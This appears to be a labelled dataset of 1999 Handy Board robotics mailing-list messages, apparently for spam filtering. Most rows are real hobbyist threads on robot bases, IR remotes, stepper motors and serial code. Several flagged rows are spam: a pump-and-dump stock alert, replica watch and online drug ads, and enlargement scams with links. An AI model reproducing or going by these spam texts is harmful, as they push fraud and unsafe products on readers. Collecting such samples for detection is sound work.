comp.robotics.misc news group for quite a while now and I did notice that there seems to be a lack of good quality and reasonably priced robot bases. All the ones I saw where way overpriced or way to small to mount any real hardware I have been thinking on starting out a small home based mail order business providing affordable robot bases to serve the robotics community and would like to get some input from the readers of this news group to see if there is enough demand to even dream about it. I would also like to get some feed back to see what sort of robotic base majority of readers prefer. here is some of the info I'm looking for: base geometry: circular or rectangular/ single or double decker. base dimensions: 9"", 10"" or 12"" or larger drive train configuration: differential steering or combined drive and steering or front wheel drive rear wheel steering. drive wheel diameter: 2.75"", 3"" or 3.25"" or larger base material: plastic, aluminum or fiberglass (PCB material) accessories: turret, extra deck Please feel free to add any other suggestions you may have. Send all reply's to lroska@cyberus.ca Thanks ",0,0 BMajik5127@aol.com,handyboard@media.mit.edu,"Thu, 11 Feb 1999 15:43:34 -0500",is there a place where I can find programs for handyboard?," Hi, I want to know where I can find programs written to make a wandering robot with the HB, also any other programs to do other things related to robotics. Thanks -Mike ",0,0 Scott Harris ,"""Keith R. Hacke"" ","Thu, 11 Feb 1999 16:19:00 -0500",Re: Large circuit construction - How?,"I was going to suggest Scotchflex, but I've always gotten it from a university stockroom. I haven't been able to find it in any of the catalogs I have. Does anyone know any suppliers, besides going to 3M directly? -Scott Keith R. Hacke wrote: > Hi All > > What is a good method to build circuits with say 5-10 ICs or more (say 14 > to 20 pins on each IC) and assoicated discretes? ",0,0 """Fred G. Martin"" ",handyboard@media.mit.edu,"Thu, 11 Feb 1999 16:52:29 -0500",re: RE,"hi all, my take on the email format issue is that nearly everything should be handled on the client side. in other words, write your filters to deal with the ""re's""; figure out that mail is from the handy board list by searching for ""handyboard@media.mit.edu"" in the To: or cc: fields, etc. the one thing i will insist on is that people turn off HTML formatting when they post a message to the list. this is for two reasons: 1. if you don't have an HTML capable email client -- and a lot of us do not -- it's REALLY annoying to scroll through tons of garbage to get to the content. 2. the archive format of the list isn't HTML friendly. in my list guidelines, i do mention the HTML issue, and i occasionally remind people privately when they post an HTML message. (i admit, the HTML thing is a pet peeve of mine -- i like my email the old fashioned way, with monospaced formatting, *asterisks* for emphasis, and UPPER CASE if you are really annoyed. but as list mom i get to have a few idosyncracies.) thanks, fred ",0,0 """J.W. Pennington"" ","""handyboard@media.mit.edu"" ","Fri, 12 Feb 1999 00:20:20 +0000",[Fwd: Scotchflex],"""J.W. Pennington"" wrote: > > I thought that 3M stopped making Scotchflex. I've tried to buy some from > a number of distributors, and that was the answer I got. > -- > ________________________________________ > Jonathan Pennington > -Anthropologist/Geologist > -Linux User and Advocate > -Bart Simpson Sympathizer > > Email at jwp(at)awod.com > _______________________________________ -- ________________________________________ Jonathan Pennington -Anthropologist/Geologist -Linux User and Advocate -Bart Simpson Sympathizer Email at jwp(at)awod.com _______________________________________ ",0,0 Peter Eacmen ,"'Darkman' , ""handyboard@media.mit.edu"" ","Thu, 11 Feb 1999 19:13:59 -0500",RE: Robot base ,"I personally like building my own bases. I don't know about anyone else but I find it more of an achievement if I build everything that went into my robot. -Peter On Thursday, February 11, 1999 3:58 PM, Darkman [SMTP:lroska@cyberus.ca] wrote: > Hi > > I have been following this mailing list and the comp.robotics.misc news group for quite a while now and I did notice that there seems to be a lack of good quality and reasonably priced robot bases. > > All the ones I saw where way overpriced or way to small to mount any real hardware > > I have been thinking on starting out a small home based mail order > business providing affordable robot bases to serve the robotics community and would like to get some input from the readers of this news group to see if there is enough demand to even dream about it. > > I would also like to get some feed back to see what sort of robotic base majority of readers prefer. > > here is some of the info I'm looking for: > > base geometry: circular or rectangular/ single or double decker. > base dimensions: 9"", 10"" or 12"" or larger > drive train configuration: differential steering or combined drive and > steering or front wheel drive rear wheel steering. > drive wheel diameter: 2.75"", 3"" or 3.25"" or larger > base material: plastic, aluminum or fiberglass (PCB material) > accessories: turret, extra deck > > Please feel free to add any other suggestions you may have. > > Send all reply's to lroska@cyberus.ca > > Thanks > > << File: ATT00002.html >>",0,0 Max Davies ,Keith Hearn ,"Thu, 11 Feb 1999 21:49:12 -0500",Re: IR remote problem,"Keith Hearn wrote: > I picked up a surplus remote control at Halted Specialties > (http://www.halted.com/) and am trying to use Max Davies' IRINT.ICB, > IR.C and TEST.C, and I'm not having any luck. > > I'm seeing two main problems. > > 1) Some keys give 35 bits of data, and some give 38 bits. I have seen this occasionally. As long as it's consistent for each key, I think the best bet is to just assume the data size is the larger of the two with trailing 0's for the shorter one. I can't promise this works though, as I've only had a single hands-on example of this case. > 2) The raw data for any given key changes between subsequent presses, > switching back and forth between two values. > > For instance, the ""1"" key gives 38 bits, with 8004002000 on one > press, then 4002001000 on the next, and then back to 8004002000. > > The ""2"" key gives 35 bits, cylcing between 8020828020 on one press > and 4024024020 on the next. > This is really bizarre. Because it is consistent it doesn't look like a hardware problem, it's more likely I have a bug in the software somewhere. > Am I dealing with RC-5 coded remotes? If so, is there any software > for the Handy Board that will decode RC-5? Or am I facing some other > issue? My routines do not currently support RC-5 because I do not own a remote using RC-5 to use for test purposes. However, based on feedback from other users, I have tried to include a warning message in the software if it SEEMS that the remote is using the RC-5 standard. I cannot guarantee that the warning message will really work because I have no test device, but if you repeatedly get the message ""RC-5 NOT SUPPORTED"" that should give you a hint. Note though, that this message might also appear in error if any 'garbage' signal is received due to excessive sunlight, low battery conditions, etc. > > Here are typical values that TEST.C is giving me for pulse widths: > > Pulse_mode: 1 Bits: 38 or 35 > Lpulse: 1150 Lspace: 630 > 1pulse: 2000 1space: 700 > 0pulse: 1000 0space: 700 > Tpulse: 1030 Tspace: 1030 > It is very interesting that you mention a result of Pulse_mode 1. This is unusual, and again is not a case that I can test with the remotes that I own. I have recently (within the past few weeks) tried to correct apparent bugs regarding the pulse mode. Please contact me privately at mdavies@cam.org and tell me what version of my IR routines you are using, and we can try to hammer out the problem. > BTW, the Tpulse and Tspace are always identical. Looking in TEST.C, > they are both set to the same value. Is this a bug? No, this is normal. In real life, the ""trailer space"" is what happens after the signal is finished, and is potentially infinite in length. The only reason a trailer space is included in the settings is to help separate one signal from another should you transmit more than one button press in a row. /Max ",0,1 Stacy ,Zedem ,"Thu, 11 Feb 1999 14:47:17 -0900",Vacation time,"How are you Zedem, Listen heard, ur wife's still been complaining about u in the nighttime activities. I feel for you. Lucky for us, reason's like this are why there's, http://www.forgetwhatislwodjke.com/wqi/. threshed defenses of wheat have always so productivity followed becoming was comitatus. As much Stacy ",1,1 Regan Russell ,"Darkman , handyboard@media.mit.edu","Fri, 12 Feb 1999 17:49:13 +1100",Re: Robot base ,"I bought a ""Rising Bird Turbo 7"" radio controlled car, ripped out the receiver electronics, hooked up 12 rectifier diodes to the motor and a 1W, 10 ohm resistor to the steering electromagnet and bolted a piece of very light wood to the chassis and the handy board to the wood. Worked quite well and looked very sexy, (in my humble opinion).. My boss was giving me ideas about the electronics.. Regan -----Original Message----- From: Darkman To: handyboard@media.mit.edu Date: Friday, February 12, 1999 8:12 AM Subject: Robot base Hi I have been following this mailing list and the comp.robotics.misc news group for quite a while now and I did notice that there seems to be a lack of good quality and reasonably priced robot bases. All the ones I saw where way overpriced or way to small to mount any real hardware I have been thinking on starting out a small home based mail order business providing affordable robot bases to serve the robotics community and would like to get some input from the readers of this news group to see if there is enough demand to even dream about it. I would also like to get some feed back to see what sort of robotic base majority of readers prefer. here is some of the info I'm looking for: base geometry: circular or rectangular/ single or double decker. base dimensions: 9"", 10"" or 12"" or larger drive train configuration: differential steering or combined drive and steering or front wheel drive rear wheel steering. drive wheel diameter: 2.75"", 3"" or 3.25"" or larger base material: plastic, aluminum or fiberglass (PCB material) accessories: turret, extra deck Please feel free to add any other suggestions you may have. Send all reply's to lroska@cyberus.ca Thanks",0,0 Earline Riggs ,handyboard@media.mit.edu,"Wen, Fri, 12 Feb 1999 11:21:15 -0500",[fwd] Watch CGDC like a hawk tomorrow!! The alert is on!!,"CHINA GOLD CORP Symbol: CGDC Current Price: 1.91 A Company engaged in gold and minerals exploration and development of gold and mineral properties in China. Why consider CHINA GOLD CORP (CGDC)? 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If you wish to stop future mailings, or if you feel you have been wrongfully placed in our membership, send a blank e mail with No Thanks in the sub ject to",1,0 Ryan Meuth ,handyboard@media.mit.edu,"Fri, 12 Feb 1999 06:26:21 -0600",Motor Driver Chips,"Greetings all! I was wondering if anyone out here knows of a place that carries the TI SN754410 motor driver chips so that I can upgrade the Handy Boards motor drivers to handle more current. Thank you. -- ""Only two things are infinite, the universe and human stupidity, and I'm not sure about the former."" --Albert Einstein Ryan ""Rhino"" Meuth http://i-tacoind.home.ml.org/ ",0,1 tone ,Ryan Meuth ,"Fri, 12 Feb 1999 14:12:42 +0100",Re: Motor Driver Chips,"www.acroname.com do them... tone Ryan Meuth wrote: > Greetings all! > > I was wondering if anyone out here knows of a place that carries the > TI SN754410 motor driver chips so that I can upgrade the Handy Boards > motor drivers to handle more current. Thank you. > > -- > ""Only two things are infinite, > the universe and human stupidity, > and I'm not sure about the former."" > --Albert Einstein > > Ryan ""Rhino"" Meuth > http://i-tacoind.home.ml.org/ ",0,1 Nick Taylor ,handyboard@media.mit.edu,"Fri, 12 Feb 1999 06:31:12 -0800",Re: Motor Driver Chips,"try here: http://www.acroname.com/robotics/parts/parts.html - - - Nick - - - Ryan Meuth wrote: > > Greetings all! > > I was wondering if anyone out here knows of a place that carries the > TI SN754410 motor driver chips so that I can upgrade the Handy Boards > motor drivers to handle more current. Thank you. ",0,1 Duncan Orthner ,handyboard@media.mit.edu,"Fri, 12 Feb 1999 09:49:21 -0500",NVRAM for the HB," Hello all, A while ago someone was looking for NVRAM for the HB. I wanted to tell everyone about a new Simtek NVRAM chip I found that isn't battery backed SRAM like the Dallas chips. It contains an EEPROM 'shadow' of the SRAM and transfers the contents of the SRAM to the EEPROM on power down. On power up, it retrieves them. You can also put this process under software control, although it requires a different version of the chip. The one that looks like it will work with the HB is the STK15C88-W45. I like the fact that there isn't a battery involved, and the package is much smaller than the Dallas chips (DS1230) the height of which may be a problem on the Handyboard, especially with the expansion board mounted. I've ordered a couple of these, and would be interested in knowing if anyone has used NVRAM (of any type) with the HB. If you're interested check: http://www.simtek.com/simtek/docs/SimtekCrossRef.htm be good, Duncan ",0,1 Clinton Boggs ,handyboard@media.mit.edu,"Fri, 12 Feb 1999 10:31:08 -0540",re: wi11 1E0N advise a pennies,"Hot Voip sector. Watch Alert starting now. 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Vi i si e t our sit i e Sincerely, Oszka Eves A z pprov i al Manager",1,1 GDFRITZ@aol.com,lroska@cyberus.ca,"Fri, 12 Feb 1999 14:01:21 -0500",Re: Robot base,"Hi er...um...whoever you are, Here's my profile and feedback: Me: 30's database programmer with a little electronics kit construction experience. Interests: Learning Robotics Hardware, Software and Theories Goals: To first experiment and learn a little more each month. Then to build a home autonomous vehicle, then an underwater ROV (teathered, then untethered). I've just started (6-8 months ago) learning and experimenting on weekends (mostly reading) but haven't been able to build my own base yet. I have recently realized that it is hampering my education so after looking around I just ordered a round base from Zagros robotics. I finally realized that my time is worth much more than the $$$ that it cost and it looks great! I actually got to see one in action and I can't wait to start mounting my own components on it. I chose the Round base after reading the Robotics: Inspiration to Implementation book because I like the idea of it being able to turn around in it's own space. However, the square models looked best to fit a notebook computer on top of. (Yeah, at 30's I still end sentences with prepositions sometimes. ;) Now that I've made the $ committment, I really don't mind paying for a decent base. And, I wouldn't mind paying more next time for one like you've mentioned with a turret! However, since this is a hobby, I can't imagine paying more than $300 for any base, and it would have to be pretty darn special for that price. I paid much less than that for my Zagros base. $300-$350 is my psychological price barrier. And, I would have to save about 6 months for something like that and would probably agonize over the decision for about a month. Some of the attributes that that would convince me to purchase another base: 1) A turrett. 2) An arm and gripper option (One that can hold a beer/soda can!) 3) A Track design instead of wheels. 4) One which would hold about 200 lbs of equipment. 5) One with add on modules (one being a vacuum cleaner to make my wife happy! ;) Any one of these items would give your product enough of a ""WOW"" factor for me to look at seriously. QF: I don't care what it is made of. (Plastic, aluminum, wood, fiberglass) Size: Big enough to hold a laptop computer. An extra deck is a necessity. << here is some of the info I'm looking for: base geometry: circular or rectangular/ single or double decker. base dimensions: 9"", 10"" or 12"" or larger drive train configuration: differential steering or combined drive and steering or front wheel drive rear wheel steering. drive wheel diameter: 2.75"", 3"" or 3.25"" or larger base material: plastic, aluminum or fiberglass (PCB material) accessories: turret, extra deck>>",0,1 PETER EACMEN ,handyboard@media.mit.edu,"Fri, 12 Feb 1999 16:09:37 -0500",Handy Board in Popular Science,"The Handy Board is part of a robot design in Popular Science magazine. Someone designed a worm-like robot using the handy board. It is the march 1999 issue. -Peter ------------------------------------------------ Peter Eacmen Boston Latin School babylongod@usa.net knowledge is power Power is money knowledge is money! ____________________________________________________________________ Get free e-mail and a permanent address at http://www.netaddress.com/?N=1 ",0,1 Chuck McManis ,"Darkman , handyboard@media.mit.edu","Fri, 12 Feb 1999 13:49:51 -0800",Re: Robot base ,"Don't do it. Unfortunately the volumes of robot building do not support building and selling robot bases, the base price for a ""good"" robot base ends up being about $500 list. The reasons are manyfold, but I'll enumerate some of them here so that you can perhaps avoid mistakes of the past: Good DC gear motors are $150 EACH. That is if you have to buy them new. They are $30 each if you buy them surplus however if you make a ""product"" counting on surplus parts you will run into a situation where you cannot meet demand and then you will get sued and/or go bankrupt. Fabricating parts is quite expensive in small quanties. Sticking with straight cut pieces like Lynxmotion does helps as you can crank these things out on a CNC type device. Defining what a ""base"" is can be problematic. In the ""deluxe"" category it includes motors, wheels and motor drivers and motion feedback (either optical encoders or tachometers), in the ""economy"" category it might be just a couple of motors mounted to plastic. Some specific feedback: > base geometry: circular or rectangular/ single or double decker. Circular. It is harder to get stuck in corners with a round robot. It is easier to build a bumper system for it. > base dimensions: 9"", 10"" or 12"" or larger 10"", that leaves you a circumscribed square that is the size of a PC-104 type computer. > drive train configuration: > differential steering or combined drive and > steering or front wheel drive rear wheel steering. Differential drive is the easiest to solve the inverse kinematics for. One steered wheel and two driven wheels is the easiest one to get to go straight. One combined drive and steering wheel is the cheapest to build. (see the Hero-1, Hero-Jr) Three steered and driven wheels gives you the most flexibility and benefit (see the CMU rover papers) > drive wheel diameter: 2.75"", 3"" or 3.25"" or larger 3.82"" wheels for the following reasons: - Larger diameter gives better results over uneven terrain. - 3.82*pi = 12"" circumference. 1 rotation == 1 foot of travel. Optionally 7.64"" wheels > base material: plastic, aluminum or fiberglass (PCB material) Plastic (Polycarbonate aka Lexan) and aluminum. Alum for toughness and plastic that is easily worked, structurally sound and reasonably light. > accessories: turret, extra deck Extra deck that is a turret, slip coupler between the top deck and the mid-deck for signals. Anyway, it will cost about $300 to produce, it won't go up stairs and it won't include batteries and no one will buy it because it can't compete with a R/C on closeout from Radio Shack. :-( --Chuck ",0,0 Fannie Quintero ,Handyboard@media.mit.edu,"Fri, 12 Feb 1999 23:04:13 +0500",Tag Heuer Watches ,"Do you want a high quality replica? In our online store you can buy replicas of Rolex watches and other brands. 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It had 2 drive motors, bought surplus, from those kid-cars ($12 apiece). There's a caster as the third wheel ($4), and I have a 12v 4a battery ($10) plus metal ($10) and blades for my dad's hacksaw ($2). Cheap and easy base WITH power to boot! Oh, and if I could put in a good word for those motors: they are *really* nice and extremely powerful. Haven't tried it yet, but it should be able to push a fair-sized vacuum around....... --phil ",0,0 Bob Avanzato ,handyboard@media.mit.edu,"Fri, 12 Feb 1999 17:48:41 -0500",ANN: fire-fighting robot contest at Penn State (3-27),"Hi All, On Saturday, March 27, 1999, Penn State Abington College, Abington, PA (Phila., PA (USA) region) will host a Fire-Fighting Robot Contest based on the rules of the International Fire-Fighting Robot Contest held annually at Trinity College. The goal is for a mobile robot to explore a maze consisting of 4 rooms, locate a candle, and extinguish the candle in the minimum time. The Penn State Abington event is open to the public as participants and spectators, and is free. There will be a $150 first prize. We try to have good time and there's always free pizza. It is a great way to prepare for the Trinity contest in April. Information about the contest can be found at http://www.ecsel.psu.edu/~avanzato/robots/contests/ Thanks -Bob Robert Avanzato Associate Professor of Engineering Penn State Abington, 1600 Woodland Road, Abington, PA 19001 215-881-7358 (voice); 215-881-7623 (fax) email: RLA5@psu.edu; homepage: http://www.personal.psu.edu/rla5/ ",0,1 James Plourde ,Handyboard ,"Fri, 12 Feb 1999 17:57:42 -0500",Battery Charger,"Hello everyone, I have just recently received the Handyboard, and everything seems to be working fine with the power adapter. However, I am slightly confused by the charging mechanism for the board. When I connect the 8 AA Nickel-Cadmium batteries to the board, the power seems to never turn off. I have a properly rated adapter (12V 500mA) plugged into the board, with power switch on, the yellow charge light appears. I turn the switch off, LCD remains on, Green power light remains on, and Yellow charge light turns off. Following the directions from the manual, I left it to charge for about 14 hours, but it didn't seem to work (Obviously the power seemed to remain on.) Do these characteristics seem to be correct when the Handyboard is turned off?? Thanks for the help, James ",0,0 James Plourde ,Handyboard ,"Fri, 12 Feb 1999 18:19:05 -0500",Apologies about battery charger!!!,"Sorry, I totally missed the question in the FAQ about this....Don't ask me how. I'll try these steps first then return here if I have problems. James ",0,0 Clancy Nelson ,HB Mail List ,"Fri, 12 Feb 1999 17:28:12 -0600",Expansion board questions,"I just finished my expansion board kit, it went together quite nicely (thanks to everyone who gave me advice on its construction) but it doesn't seat all the way down on the Handy Board because it hits the crystal which protrudes above the the other components on the HB, is this normal or is the crystal on my HB taller then normal?, it lack about 3/16'' of going all the way down. Also, is there procedure for testing the expansion board?. Thanks, Clancy ",0,0 Chuck McManis ,handyboard@media.mit.edu,"Fri, 12 Feb 1999 15:47:43 -0800",Re: Robot base ,"This is why ""economy"" robot base builders go broke. I'm not picking on Phil here, I'm using his message to make a point that a lot of people miss ... Phil here built a base with one of a kind (aka surplus) parts, didn't charge for his own labor and sees himself as having gone from not having a base to have one for $50. Unfortunately, if Phil charged for his own labor (I'm guessing he put in probably 8 to 10 hours on this thing, and only paid himself $10 and hour (which is not a wage you can get contract labor for), bought his motors from a source that could reliably deliver motors day after day, and tried to sell this base, his cost would have been more like $300 ($100 motors, $100 assembly, $100 for battery, structural materials, and a high current motor driver.) Then he'd have to sell it for an MSRP $900 in order for there to be any chance at all of his business succeeding. And he would have to compete with people like himself who don't charge anything for their own labor and thus complain that his prices are too high. Its not a profitable business to be in and we've seen many people on this mailing list die on the barrier reef known as financial viability. --Chuck (Note, example of a motor you can buy off the shelf for robotics: http://www.evercom-ind.com/gm54.htm Cost per motor in qtys < 1000 = $78.00 At 04:21 PM 2/12/99 -0600, Philsky wrote: >I built a base for $50, including tools. It was made out of L-channel metal >girder. It had 2 drive motors, bought surplus, from those kid-cars ($12 >apiece). There's a caster as the third wheel ($4), and I have a 12v 4a >battery ($10) plus metal ($10) and blades for my dad's hacksaw ($2). Cheap >and easy base WITH power to boot! > Oh, and if I could put in a good word for those motors: they are >*really* nice and extremely powerful. Haven't tried it yet, but it should be >able to push a fair-sized vacuum around....... > > --phil >",0,1 Duncan Orthner ,handyboard@media.mit.edu,"Fri, 12 Feb 1999 19:35:25 -0500",Re: Expansion board questions,"At 05:28 PM 2/12/99 -0600, Clancy Nelson wrote: >I just finished my expansion board kit, it went together quite nicely >(thanks to everyone who gave me advice on its construction) but it doesn't >seat all the way down on the Handy Board because it hits the crystal which >protrudes above the the other components on the HB, is this normal or is the >crystal on my HB taller then normal?, it lack about 3/16'' of going all the >way down. Hi Clancy, Sounds like your HB has a full height crystal. I think a half height one is in the specs, if you're worried about it switch it with a shorter version. You could also use a ceramic resonator, they're shorter than the crystal. > Also, is there procedure for testing the expansion board?. I rewrote Fred's hbtest.c to check the new analog and digital inputs, and I have a short routine that lets you rotate the servos with the knob(). Let me know if you're interested... Best, Duncan ",0,0 Chasity White ,Handyboard@media.mit.edu,"Fri, 12 Feb 1999 19:45:31 -0540",All products for your health!,"http://rqnbmd.seescum.biz/?99053092 Suffering from pain, depression or heartburn? We'll help you! All verified dr@gs collected at one LICENSED online store! Great choice of wonderful meds to give you long-awaited relief! Operative support, fast shipping, secure p@yment processing and complete confidentiality! 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Eric -- /-----------------------------------------------------------------------\\ Eric Smiley Duke University Delta Kappa Epsilon House 1C1 rm. 202 : - ) BOX 96859 ( - : Durham, NC 27708-6859 ebs4@acpub.duke.edu 919-613-1839 \\-----------------------------------------------------------------------/ ",0,0 BMajik5127@aol.com,handyboard@media.mit.edu,"Sat, 13 Feb 1999 15:43:38 -0500",***sharp GP1U5 IR detector***," Anyone know if there is a difference between these #s found on two different detectors? gp1u5 81x and gp1u5 2x? I dont think there is any difference but?... Also, How could these be wired to individually to say, light an led that would be a triggering signal I could use as an interface to my hc11. Any help much obliged. -Mike ",0,0 Efren Billings ,handyboard@media.mit.edu,"Sun, 14 Feb 1999 07:18:31 +0100",Your personal shaver is reserved.,"Spring is coming up and you need a clean bikini line! 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Thank you for your help. > > Eric > > -- > > /-----------------------------------------------------------------------\\ > > Eric Smiley > Duke University > Delta Kappa Epsilon > House 1C1 rm. 202 > : - ) BOX 96859 ( - : > Durham, NC 27708-6859 > ebs4@acpub.duke.edu > 919-613-1839 > > \\-----------------------------------------------------------------------/ -- Ranjit Diol - COMPSys Dowagiac,Michigan e-mail: rsdiol@mich.com website: http://www.compsys1.com ",0,1 Ranjit Diol ,HandyBoard MIT ,"Sat, 13 Feb 1999 18:30:12 -0500",HB and V8600 module??,"I'm having trouble interfacing theRC Systems' V8600 text-to-speech module via its TTL serial connections and the HB w/exp brd using just one output pin and signal ground to send text to the V8600 (at 9600 or 2400 baud). I modified the Fred's PA_9600.asm file for a different pin and have been successful in sending serial data to a serial LCD ( I had to modify the routine to output an inverted signal ). I thought that perhaps this same scheme would work with the V8600 module but have not had any luck. I'd like to hear from anyone else who has some experience with the V8600 module. Thanks, Ranjit -- Ranjit Diol - COMPSys Dowagiac,Michigan e-mail: rsdiol@mich.com website: http://www.compsys1.com ",0,1 Nick Taylor ,handyboard@media.mit.edu,"Sat, 13 Feb 1999 18:28:46 -0800",Re: ***sharp GP1U5 IR detector***,"Mike - - Here is the Sharp data sheet page: http://www.sharp.co.jp/ecg/unit/unit.html have fun! - - - Nick - - - BMajik5127@aol.com wrote: > > Anyone know if there is a difference between these #s found on two different > detectors? gp1u5 81x and gp1u5 2x? I dont think there is any difference > but?... > Also, How could these be wired to individually to say, light an led that > would be a triggering signal I could use as an interface to my hc11. > Any help much obliged. > -Mike ",0,1 peschansc ,handyboard@media.mit.edu,,"You have a big heart but a small penis,",Y0ur dick looks like from a doll world? Change its sizes with Penis Enlarge Patch. http://www.haswer.net/pt/?51&xVUgrV,1,1 Nick Taylor ,handyboard@media.mit.edu,"Sat, 13 Feb 1999 18:41:37 -0800",Re: HB and V8600 module??,"Here's a link: http://maverick.stanford.edu/~ssdl/projects/squirt1/subsystem/payload/voice/voice.html - - - Nick - - - Ranjit Diol wrote: > > I'm having trouble interfacing theRC Systems' V8600 text-to-speech > module via its TTL serial connections and the HB w/exp brd using just > one output pin and signal ground to send text to the V8600 (at 9600 or > 2400 baud). I modified the Fred's PA_9600.asm file for a different pin > and have been successful in sending serial data to a serial LCD ( I had > to modify the routine to output an inverted signal ). I thought that > perhaps this same scheme would work with the V8600 module but have not > had any luck. > > I'd like to hear from anyone else who has some experience with the V8600 > module. > > Thanks, > Ranjit > > -- > Ranjit Diol - COMPSys > Dowagiac,Michigan > e-mail: rsdiol@mich.com > website: http://www.compsys1.com ",0,1 Peter Eacmen ,"""'handyboard@media.mit.edu'"" ","Sat, 13 Feb 1999 23:59:13 -0500",serial_getchar(int c) what's int c for?!,"in serialio.c from Randy what is int c for when you're recieving characters from the serial line? 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I'd like to use stepper motors instead of normal ones, because I would not need any shaft encoders. And I think stepper motors do not cause so much noise like normal motors. If someone have a idea where (old floppys,etc.) to rip out good (12V/1A) stepper motors, please mail me. Does someone use stepper motors to drive a robot ? Are there any arguments against using stepper motors to drive ? Thank You in advance. Simon ",0,0 Marsha ,handyboard@media.mit.edu,"Sun, 14 Feb 1999 08:01:39 -0400",Need drugs for life?,They all looked up to the source of the sound.and saw the railing break away and Michael go sailing over the edge. L0ve Pr0state Depressi0n Anx1ety Pa1n We1ght Herpes Pressure Asthma Ac1d1ty ??? TR0UBLES ??? Everrything you need is n0w ALL on ONE portal! _click__here_and f0rget your tr0ubles,1,1 Cesar Mello ,"simon , handyboard ","Sun, 14 Feb 1999 15:33:04 -0000",Re: Stepper Motor,"Hi! > I have a question. Can i use stepper motors to drive my robot platform ? I don't have any experience in robots, but I've mounted a positioning system for a current transformer tap selector using the HandyBoard. > Do i need a gear ? Stepper motors are generally strong and can keep the stopped position very well. > I'd like to use stepper motors instead of normal ones, because I would > not need any shaft encoders. > And I think stepper motors do not cause so much noise like normal > motors. > If someone have a idea where (old floppys,etc.) to rip out good (12V/1A) > stepper motors, please mail me. You will find good 1.8 degree stepper motors in old 5 1/4 drives, generally they are about 160 mA x 12 V. Other source of very good stepper motors are old printers, I've found some incredibly strong ones. > Does someone use stepper motors to drive a robot ? > Are there any arguments against using stepper motors to drive ? Simon, please keep me in touch of your progress, I'd like to mount my first mobile robot and I have lots of stepper motors right here... We can swap HandyBoard code too. Best regards, Cesar ",0,0 Keith ,handyboard@media.mit.edu,"Sun, 14 Feb 1999 12:02:52 -0600",Re: Stepper Motor," I am also trying to use steppers motors from an old floppy, if anyone has accompished this I am interested in your result and methods Keith At 03:33 PM 2/14/99 +0000, you wrote: >Hi! > >> I have a question. Can i use stepper motors to drive my robot platform ? > >I don't have any experience in robots, but I've mounted a positioning >system for a current transformer tap selector using the HandyBoard. > >> Do i need a gear ? > >Stepper motors are generally strong and can keep the stopped position very >well. > >> I'd like to use stepper motors instead of normal ones, because I would >> not need any shaft encoders. >> And I think stepper motors do not cause so much noise like normal >> motors. >> If someone have a idea where (old floppys,etc.) to rip out good (12V/1A) >> stepper motors, please mail me. > >You will find good 1.8 degree stepper motors in old 5 1/4 drives, generally >they are about 160 mA x 12 V. Other source of very good stepper motors are >old printers, I've found some incredibly strong ones. > >> Does someone use stepper motors to drive a robot ? >> Are there any arguments against using stepper motors to drive ? > >Simon, please keep me in touch of your progress, I'd like to mount my first >mobile robot and I have lots of stepper motors right here... We can swap >HandyBoard code too. > >Best regards, >Cesar ",0,0 """F. Garancher"" ",handyboard@media.mit.edu,"Sun, 14 Feb 1999 19:16:28 +0000",Re: Stepper Motor,"At 16:56 14/02/99 +0100, you wrote: >Hi, > >I have a question. Can i use stepper motors to drive my robot platform ? >Do i need a gear ? >I'd like to use stepper motors instead of normal ones, because I would >not need any shaft encoders. >And I think stepper motors do not cause so much noise like normal >motors. >If someone have a idea where (old floppys,etc.) to rip out good (12V/1A) >stepper motors, please mail me. You can get some from old printers or scanners but I think they are rated for 24V >Does someone use stepper motors to drive a robot ? >Are there any arguments against using stepper motors to drive ? > For Eurobot 97 ,some robots were using stepper motors. On Internet, there was also a guy who explained how to build a robot from a floppy drive. As far as I know, you can't vary the speed too fast. You have to create a kind of ramp function to slowly increase it otherwise your motor may stall and you will loose count. >Thank You in advance. > >Simon ",0,0 Dperonne@aol.com,handyboard@media.mit.edu,"Sun, 14 Feb 1999 14:35:02 -0500",I2C bus with the Handy board ?,"Hi! It is possible to use component with I2C bus on the Handy board ? Do you know this ? some examples : PCF8584, PCD8574, PCF8591...... I'd like to use many component with this bus. Can you help me (if it is possible) ? thanks Dperonne@aol.com ",0,0 Peter Eacmen ,"""'handyboard@media.mit.edu'"" ","Sun, 14 Feb 1999 16:03:13 -0500",Serial Communication Please Help!,"Hi, I am trying to get communication working between two HBs via the RJ11 serial port. I read the FAQ on the HB web site and I have the right cable. On the trans. HB the power LED blinks which indicates it is transmitting. Also whenever I turn on the Trans. HB the recieving HB says 255. Below is the code I am running on both HBs. Thanks -Peter Here's the code I am running the recieving HB: void disable_pcode_serial() /* disable board handshaking with IC */ /* on the host computer, allowing user */ /* programs to receive serial data */ { poke(0x3c, 1); } int serial_getchar() /* read a serial character. Note: the */ /* program hangs until a character is */ /* received! There is no timeout! */ { while (!(peek(0x102e) & 0x20)); /* wait until a character arrives */ return (peek(0x102f)); /* return it as an int */ } void main() { int x=0; disable_pcode_serial(); while(1) { printf(""\\n%d"",serial_getchar()); } } The transmitting HB: void serial_putchar(int c) /* send a serial character. Note: the */ /* program hangs until the character is */ /* sent! There is no timeout! */ { while (!(peek(0x102e) & 0x80)); /* wait until it's okay to send */ poke(0x102f, c); /* send the character */ } void main() { int x=0; while(x < 250) { serial_putchar(x); x++; } }",0,0 Cesar Mello ,"Simon Schulz , handyboard@media.mit.edu","Sun, 14 Feb 1999 20:43:03 -0000",Re: Stepper Motor,"Hi Simon, > Thank you very much for your response! > I'll check for DiskDrives around me .... Nice idea, don't let people put those drives in the trash! > are you using the motor outputs for the stepper motors (1 motor @ 2 outs)? Yes, but the way I did was to use the less components possible. I've used a big stepper motor from an old printer, but the sequence is the same as for the drive one. That's because I have some difficulties to get components here in Brazil. My Handy Board is modified, I couldn't get the motor drivers, so I use all the 8 outputs as 5 volts logic outputs. I've connected 4 of these outputs to a circuit with 4 TIP122 transistors. Each of these transistors energized a coil from the stepper motor. For the stepper motor to work, you have to turn on each coil at a time in the appropriate sequence. For example, let's say you have O1, O2, O3, O4 as your outputs: O1 - on O2 - off O3 - off O4 - off The first time you make this, you won't know what's your stepper motor position. So you'll use a global variable to keep track of his position, and other to keep track of the coil energized. For your motor to turn 1.8 degrees left, you'll make: O1 - off O2 - on O3 - off O4 - off With this operation it will move a 1.8 degree step and hold position firmly. For it to keep spinning, you'll keep doing the sequence: O1 - off O2 - off O3 - on O4 - off O1 - off O2 - off O3 - off O4 - on O1 - on O2 - off O3 - off O4 - off Keeping with this sequence and counting the steps you can spin it any angle, and if you keep making this sequence it will keep spinning forever. The speed as you make this sequence defines the motor speed. For the motor to turn right, you will make the opposite sequence, but continuing from the last state. For example, considering the last state was the one before, for the motor to start spinning to the right you would: O1 - off O2 - off O3 - off O4 - on 